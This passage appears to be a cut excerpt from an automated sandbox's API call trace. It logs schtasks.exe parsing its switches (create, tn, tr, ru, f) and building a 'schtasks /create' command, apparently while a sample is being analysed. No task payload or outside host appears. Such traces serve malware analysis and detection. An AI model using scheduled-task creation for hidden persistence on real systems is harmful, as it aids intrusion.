(_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.625] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|run|") returned 5 [0164.625] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|f|") returned 3 [0164.625] lstrlenW (lpString="|run|") returned 5 [0164.625] lstrlenW (lpString="|f|") returned 3 [0164.625] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0164.625] SetLastError (dwErrCode=0x490) [0164.625] lstrlenW (lpString="end") returned 3 [0164.625] lstrlenW (lpString="end") returned 3 [0164.625] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.626] lstrlenW (lpString="f") returned 1 [0164.626] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.626] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|end|") returned 5 [0164.626] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|f|") returned 3 [0164.626] lstrlenW (lpString="|end|") returned 5 [0164.626] lstrlenW (lpString="|f|") returned 3 [0164.626] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0164.626] SetLastError (dwErrCode=0x490) [0164.626] lstrlenW (lpString="showsid") returned 7 [0164.626] lstrlenW (lpString="showsid") returned 7 [0164.626] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.626] lstrlenW (lpString="f") returned 1 [0164.626] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.626] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|showsid|") returned 9 [0164.626] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|f|") returned 3 [0164.626] lstrlenW (lpString="|showsid|") returned 9 [0164.627] lstrlenW (lpString="|f|") returned 3 [0164.627] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0164.627] SetLastError (dwErrCode=0x490) [0164.627] SetLastError (dwErrCode=0x490) [0164.627] SetLastError (dwErrCode=0x0) [0164.627] lstrlenW (lpString="/f") returned 2 [0164.627] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0164.627] SetLastError (dwErrCode=0x490) [0164.627] SetLastError (dwErrCode=0x0) [0164.627] lstrlenW (lpString="/f") returned 2 [0164.627] GetProcessHeap () returned 0x220000 [0164.627] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x6) returned 0x23ddf0 [0164.627] GetProcessHeap () returned 0x220000 [0164.627] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cdb0 [0164.627] SetLastError (dwErrCode=0x0) [0164.627] GetProcessHeap () returned 0x220000 [0164.627] GetProcessHeap () returned 0x220000 [0164.628] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c1c0) returned 1 [0164.628] GetProcessHeap () returned 0x220000 [0164.628] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c1c0) returned 0x8 [0164.628] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c1c0 | out: hHeap=0x220000) returned 1 [0164.628] GetProcessHeap () returned 0x220000 [0164.628] GetProcessHeap () returned 0x220000 [0164.628] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cbd0) returned 1 [0164.628] GetProcessHeap () returned 0x220000 [0164.628] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cbd0) returned 0x20 [0164.629] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cbd0 | out: hHeap=0x220000) returned 1 [0164.629] GetProcessHeap () returned 0x220000 [0164.629] GetProcessHeap () returned 0x220000 [0164.629] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d4c0) returned 1 [0164.629] GetProcessHeap () returned 0x220000 [0164.629] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d4c0) returned 0x14 [0164.629] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d4c0 | out: hHeap=0x220000) returned 1 [0164.629] GetProcessHeap () returned 0x220000 [0164.629] GetProcessHeap () returned 0x220000 [0164.629] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cc00) returned 1 [0164.629] GetProcessHeap () returned 0x220000 [0164.629] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cc00) returned 0x20 [0164.630] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cc00 | out: hHeap=0x220000) returned 1 [0164.630] GetProcessHeap () returned 0x220000 [0164.630] GetProcessHeap () returned 0x220000 [0164.630] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23dc90) returned 1 [0164.630] GetProcessHeap () returned 0x220000 [0164.630] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23dc90) returned 0x8 [0164.630] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23dc90 | out: hHeap=0x220000) returned 1 [0164.630] GetProcessHeap () returned 0x220000 [0164.630] GetProcessHeap () returned 0x220000 [0164.630] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cc30) returned 1 [0164.630] GetProcessHeap () returned 0x220000 [0164.630] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cc30) returned 0x20 [0164.631] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cc30 | out: hHeap=0x220000) returned 1 [0164.631] GetProcessHeap () returned 0x220000 [0164.631] GetProcessHeap () returned 0x220000 [0164.631] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d4e0) returned 1 [0164.631] GetProcessHeap () returned 0x220000 [0164.631] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d4e0) returned 0xe [0164.631] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d4e0 | out: hHeap=0x220000) returned 1 [0164.631] GetProcessHeap () returned 0x220000 [0164.631] GetProcessHeap () returned 0x220000 [0164.631] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cc60) returned 1 [0164.631] GetProcessHeap () returned 0x220000 [0164.631] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cc60) returned 0x20 [0164.631] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cc60 | out: hHeap=0x220000) returned 1 [0164.632] GetProcessHeap () returned 0x220000 [0164.632] GetProcessHeap () returned 0x220000 [0164.632] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23dcb0) returned 1 [0164.632] GetProcessHeap () returned 0x220000 [0164.632] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23dcb0) returned 0x8 [0164.632] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23dcb0 | out: hHeap=0x220000) returned 1 [0164.632] GetProcessHeap () returned 0x220000 [0164.632] GetProcessHeap () returned 0x220000 [0164.632] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cc90) returned 1 [0164.632] GetProcessHeap () returned 0x220000 [0164.632] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cc90) returned 0x20 [0164.632] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cc90 | out: hHeap=0x220000) returned 1 [0164.633] GetProcessHeap () returned 0x220000 [0164.633] GetProcessHeap () returned 0x220000 [0164.633] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23dcd0) returned 1 [0164.633] GetProcessHeap () returned 0x220000 [0164.633] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23dcd0) returned 0x6 [0164.633] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23dcd0 | out: hHeap=0x220000) returned 1 [0164.633] GetProcessHeap () returned 0x220000 [0164.633] GetProcessHeap () returned 0x220000 [0164.633] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23ccc0) returned 1 [0164.633] GetProcessHeap () returned 0x220000 [0164.633] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23ccc0) returned 0x20 [0164.633] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ccc0 | out: hHeap=0x220000) returned 1 [0164.633] GetProcessHeap () returned 0x220000 [0164.634] GetProcessHeap () returned 0x220000 [0164.634] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23dcf0) returned 1 [0164.634] GetProcessHeap () returned 0x220000 [0164.634] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23dcf0) returned 0x8 [0164.634] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23dcf0 | out: hHeap=0x220000) returned 1 [0164.634] GetProcessHeap () returned 0x220000 [0164.634] GetProcessHeap () returned 0x220000 [0164.634] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23ccf0) returned 1 [0164.634] GetProcessHeap () returned 0x220000 [0164.634] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23ccf0) returned 0x20 [0164.634] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ccf0 | out: hHeap=0x220000) returned 1 [0164.634] GetProcessHeap () returned 0x220000 [0164.635] GetProcessHeap () returned 0x220000 [0164.635] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23dd70) returned 1 [0164.635] GetProcessHeap () returned 0x220000 [0164.635] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23dd70) returned 0x4a [0164.635] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23dd70 | out: hHeap=0x220000) returned 1 [0164.635] GetProcessHeap () returned 0x220000 [0164.635] GetProcessHeap () returned 0x220000 [0164.636] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cd20) returned 1 [0164.636] GetProcessHeap () returned 0x220000 [0164.636] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cd20) returned 0x20 [0164.636] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cd20 | out: hHeap=0x220000) returned 1 [0164.636] GetProcessHeap () returned 0x220000 [0164.636] GetProcessHeap () returned 0x220000 [0164.636] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23ddd0) returned 1 [0164.636] GetProcessHeap () returned 0x220000 [0164.636] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23ddd0) returned 0x8 [0164.636] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ddd0 | out: hHeap=0x220000) returned 1 [0164.637] GetProcessHeap () returned 0x220000 [0164.637] GetProcessHeap () returned 0x220000 [0164.637] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cd50) returned 1 [0164.637] GetProcessHeap () returned 0x220000 [0164.637] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cd50) returned 0x20 [0164.637] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cd50 | out: hHeap=0x220000) returned 1 [0164.637] GetProcessHeap () returned 0x220000 [0164.637] GetProcessHeap () returned 0x220000 [0164.637] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d560) returned 1 [0164.637] GetProcessHeap () returned 0x220000 [0164.637] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d560) returned 0x10 [0164.637] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d560 | out: hHeap=0x220000) returned 1 [0164.637] GetProcessHeap () returned 0x220000 [0164.637] GetProcessHeap () returned 0x220000 [0164.637] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cd80) returned 1 [0164.637] GetProcessHeap () returned 0x220000 [0164.637] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cd80) returned 0x20 [0164.638] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cd80 | out: hHeap=0x220000) returned 1 [0164.638] GetProcessHeap () returned 0x220000 [0164.638] GetProcessHeap () returned 0x220000 [0164.638] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23ddf0) returned 1 [0164.638] GetProcessHeap () returned 0x220000 [0164.638] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23ddf0) returned 0x6 [0164.638] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ddf0 | out: hHeap=0x220000) returned 1 [0164.638] GetProcessHeap () returned 0x220000 [0164.638] GetProcessHeap () returned 0x220000 [0164.638] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cdb0) returned 1 [0164.638] GetProcessHeap () returned 0x220000 [0164.638] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cdb0) returned 0x20 [0164.639] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cdb0 | out: hHeap=0x220000) returned 1 [0164.639] GetProcessHeap () returned 0x220000 [0164.639] GetProcessHeap () returned 0x220000 [0164.639] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23b990) returned 1 [0164.639] GetProcessHeap () returned 0x220000 [0164.639] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23b990) returned 0x18 [0164.639] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23b990 | out: hHeap=0x220000) returned 1 [0164.640] SetLastError (dwErrCode=0x0) [0164.640] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0164.640] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0164.640] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0164.640] VerifyVersionInfoW (in: lpVersionInformation=0x1bc7f0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x1bc7f0) returned 1 [0164.640] SetLastError (dwErrCode=0x0) [0164.640] lstrlenW (lpString="create") returned 6 [0164.640] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0164.640] SetLastError (dwErrCode=0x490) [0164.640] SetLastError (dwErrCode=0x0) [0164.640] lstrlenW (lpString="create") returned 6 [0164.640] GetProcessHeap () returned 0x220000 [0164.640] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cdb0 [0164.640] GetProcessHeap () returned 0x220000 [0164.640] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23d560 [0164.640] _memicmp (_Buf1=0x23d560, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.641] GetProcessHeap () returned 0x220000 [0164.641] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x16) returned 0x23d4e0 [0164.641] SetLastError (dwErrCode=0x0) [0164.641] _memicmp (_Buf1=0x23ba50, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.641] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x23bbf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0164.641] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0164.641] GetProcessHeap () returned 0x220000 [0164.641] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x74e) returned 0x23dd70 [0164.642] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x23dd70 | out: lpData=0x23dd70) returned 1 [0164.642] VerQueryValueW (in: pBlock=0x23dd70, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1bc8d8, puLen=0x1bc940 | out: lplpBuffer=0x1bc8d8*=0x23e10c, puLen=0x1bc940) returned 1 [0164.642] _memicmp (_Buf1=0x23ba50, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.642] _vsnwprintf (in: _Buffer=0x23bbf0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x1bc8b8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0164.646] VerQueryValueW (in: pBlock=0x23dd70, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x1bc948, puLen=0x1bc938 | out: lplpBuffer=0x1bc948*=0x23df38, puLen=0x1bc938) returned 1 [0164.646] lstrlenW (lpString="schtasks.exe") returned 12 [0164.646] lstrlenW (lpString="schtasks.exe") returned 12 [0164.646] lstrlenW (lpString=".EXE") returned 4 [0164.647] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0164.648] lstrlenW (lpString="schtasks.exe") returned 12 [0164.648] lstrlenW (lpString=".EXE") returned 4 [0164.648] lstrlenW (lpString="schtasks") returned 8 [0164.648] lstrlenW (lpString="/create") returned 7 [0164.648] _memicmp (_Buf1=0x23ba50, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.648] _vsnwprintf (in: _Buffer=0x23bbf0, _BufferCount=0x19, _Format="%s %s", _ArgList=0x1bc8b8 | out: _Buffer="schtasks /create") returned 16 [0164.648] _memicmp (_Buf1=0x23ba70, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.648] GetProcessHeap () returned 0x220000 [0164.648] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cd80 [0164.648] _memicmp (_Buf1=0x23ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.648] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x23d280, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0164.648] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0164.648] GetProcessHeap () returned 0x220000 [0164.648] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x30) returned 0x237a90 [0164.648] _vsnwprintf (in: _Buffer=0x23bff0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x1bc8b8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0164.648] GetProcessHeap () returned 0x220000 [0164.648] GetProcessHeap () returned 0x220000 [0164.648] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23dd70) returned 1 [0164.648] GetProcessHeap () returned 0x220000 [0164.649] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23dd70) returned 0x74e [0164.650] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23dd70 | out: hHeap=0x220000) returned 1 [0164.681] SetLastError (dwErrCode=0x0) [0164.681] GetThreadLocale () returned 0x409 [0164.681] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0164.681] lstrlenW (lpString="create") returned 6 [0164.682] GetThreadLocale () returned 0x409 [0164.682] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0164.682] lstrlenW (lpString="?") returned 1 [0164.682] GetThreadLocale () returned 0x409 [0164.682] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0164.682] lstrlenW (lpString="s") returned 1 [0164.682] GetThreadLocale () returned 0x409 [0164.682] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0164.682] lstrlenW (lpString="u") returned 1 [0164.682] GetThreadLocale () returned 0x409 [0164.682] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0164.682] lstrlenW (lpString="p") returned 1 [0164.682] GetThreadLocale () returned 0x409 [0164.682] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0164.682] lstrlenW (lpString="ru") returned 2 [0164.682] GetThreadLocale () returned 0x409 [0164.682] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0164.683] lstrlenW (lpString="rp") returned 2 [0164.683] GetThreadLocale () returned 0x409 [0164.683] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0164.683] lstrlenW (lpString="sc") returned 2 [0164.683] GetThreadLocale () returned 0x409 [0164.683] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0164.683] lstrlenW (lpString="mo") returned 2 [0164.683] GetThreadLocale () returned 0x409 [0164.683] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0164.683] lstrlenW (lpString="d") returned 1 [0164.683] GetThreadLocale () returned 0x409 [0164.683] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0164.683] lstrlenW (lpString="m") returned 1 [0164.683] GetThreadLocale () returned 0x409 [0164.683] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0164.683] lstrlenW (lpString="i") returned 1 [0164.683] GetThreadLocale () returned 0x409 [0164.684] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0164.684] lstrlenW (lpString="tn") returned 2 [0164.684] GetThreadLocale () returned 0x409 [0164.684] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0164.684] lstrlenW (lpString="tr") returned 2 [0164.684] GetThreadLocale () returned 0x409 [0164.684] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0164.684] lstrlenW (lpString="st") returned 2 [0164.684] GetThreadLocale () returned 0x409 [0164.684] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0164.684] lstrlenW (lpString="sd") returned 2 [0164.684] GetThreadLocale () returned 0x409 [0164.684] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0164.684] lstrlenW (lpString="ed") returned 2 [0164.684] GetThreadLocale () returned 0x409 [0164.684] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0164.684] lstrlenW (lpString="it") returned 2 [0164.684] GetThreadLocale () returned 0x409 [0164.684] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0164.684] lstrlenW (lpString="et") returned 2 [0164.684] GetThreadLocale () returned 0x409 [0164.684] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0164.684] lstrlenW (lpString="k") returned 1 [0164.684] GetThreadLocale () returned 0x409 [0164.684] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0164.684] lstrlenW (lpString="du") returned 2 [0164.684] GetThreadLocale () returned 0x409 [0164.684] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0164.684] lstrlenW (lpString="ri") returned 2 [0164.685] GetThreadLocale () returned 0x409 [0164.685] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0164.685] lstrlenW (lpString="z") returned 1 [0164.685] GetThreadLocale () returned 0x409 [0164.685] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0164.685] lstrlenW (lpString="f") returned 1 [0164.685] GetThreadLocale () returned 0x409 [0164.685] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0164.685] lstrlenW (lpString="v1") returned 2 [0164.685] GetThreadLocale () returned 0x409 [0164.685] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0164.685] lstrlenW (lpString="xml") returned 3 [0164.685] GetThreadLocale () returned 0x409 [0164.685] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0164.685] lstrlenW (lpString="ec") returned 2 [0164.685] GetThreadLocale () returned 0x409 [0164.685] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0164.685] lstrlenW (lpString="rl") returned 2 [0164.685] GetThreadLocale () returned 0x409 [0164.685] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0164.685] lstrlenW (lpString="delay") returned 5 [0164.685] GetThreadLocale () returned 0x409 [0164.685] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0164.685] lstrlenW (lpString="np") returned 2 [0164.685] SetLastError (dwErrCode=0x0) [0164.685] SetLastError (dwErrCode=0x0) [0164.685] lstrlenW (lpString="/create") returned 7 [0164.686] lstrlenW (lpString="-/") returned 2 [0164.686] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0164.686] lstrlenW (lpString="create") returned 6 [0164.686] lstrlenW (lpString="create") returned 6 [0164.686] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.686] lstrlenW (lpString="create") returned 6 [0164.686] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.686] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|create|") returned 8 [0164.686] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|create|") returned 8 [0164.686] lstrlenW (lpString="|create|") returned 8 [0164.686] lstrlenW (lpString="|create|") returned 8 [0164.686] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0164.686] SetLastError (dwErrCode=0x0) [0164.686] SetLastError (dwErrCode=0x0) [0164.686] SetLastError (dwErrCode=0x0) [0164.686] lstrlenW (lpString="/tn") returned 3 [0164.686] lstrlenW (lpString="-/") returned 2 [0164.686] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0164.686] lstrlenW (lpString="create") returned 6 [0164.686] lstrlenW (lpString="create") returned 6 [0164.686] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.686] lstrlenW (lpString="tn") returned 2 [0164.686] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.687] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|create|") returned 8 [0164.687] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|tn|") returned 4 [0164.687] lstrlenW (lpString="|create|") returned 8 [0164.687] lstrlenW (lpString="|tn|") returned 4 [0164.687] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0164.687] SetLastError (dwErrCode=0x490) [0164.687] lstrlenW (lpString="?") returned 1 [0164.687] lstrlenW (lpString="?") returned 1 [0164.687] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.687] lstrlenW (lpString="tn") returned 2 [0164.687] _memicmp (_Buf1=0x23c1e0, 